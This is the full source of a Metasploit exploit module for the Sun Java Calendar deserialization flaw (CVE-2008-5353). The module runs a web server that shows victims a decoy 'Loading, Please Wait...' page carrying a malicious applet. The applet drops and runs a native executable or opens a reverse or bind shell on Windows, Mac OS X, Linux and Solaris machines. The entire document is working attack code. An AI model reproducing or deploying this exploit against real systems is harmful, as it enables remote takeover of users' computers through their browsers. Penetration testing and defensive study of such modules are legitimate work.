Sun Java – Calendar Deserialization (Metasploit)
## # $Id: java_calendar_deserialize.rb 10389 2010-09-20 04:38:13Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Sun Java Calendar Deserialization Exploit', 'Description' => %q{ This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM. The payload can be either a native payload which is generated as an executable and dropped/executed on the target or a shell from within the Java applet in the target browser. The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16 and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected). }, 'License' => MSF_LICENSE, 'Author' => [ 'sf', 'hdm' ], 'Version' => '$Revision: 10389 $', 'References' => [ [ 'CVE', '2008-5353' ], [ 'OSVDB', '50500'], [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ], [ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ], [ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ], [ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1' ] ], 'Platform' => [ 'win', 'osx', 'linux', 'solaris' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA, } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 03 2008' )) end def exploit # load the static jar file path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5353.jar" ) fd = File.open( path, "rb" ) @jar_data = fd.read(fd.stat.size) fd.close super end def on_request_uri( cli, request ) data = nil host = nil port = nil if not request.uri.match(/\.jar$/i) if not request.uri.match(/\/$/) send_redirect( cli, get_resource() + '/', '') return end print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." ) payload = regenerate_payload( cli ) if not payload print_error( "Failed to generate the payload." ) return end if target.name == 'Generic (Java Payload)' if datastore['LHOST'] jar = payload.encoded host = datastore['LHOST'] port = datastore['LPORT'] print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." ) else port = datastore['LPORT'] datastore['RHOST'] = cli.peerhost print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." ) end if jar print_status( "Generated jar to drop (#{jar.length} bytes)." ) jar = Rex::Text.to_hex( jar, prefix="" ) else print_error( "Failed to generate the executable." ) return end else # NOTE: The EXE mixin automagically handles detection of arch/platform data = generate_payload_exe if data print_status( "Generated executable to drop (#{data.length} bytes)." ) data = Rex::Text.to_hex( data, prefix="" ) else print_error( "Failed to generate the executable." ) return end end send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } ) return end print_status( "#{self.name} sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." ) send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } ) handler( cli ) end def generate_html( data, jar, host, port ) html = "<html><head><title>Loading, Please Wait...</title></head>" html += "<body><center><p>Loading, Please Wait...</p></center>" html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">" html += "<param name=\"data\" value=\"#{data}\"/>" if data html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar html += "<param name=\"lhost\" value=\"#{host}\"/>" if host html += "<param name=\"lport\" value=\"#{port}\"/>" if port html += "</applet></body></html>" return html end def generate_jar() return @jar_data end end |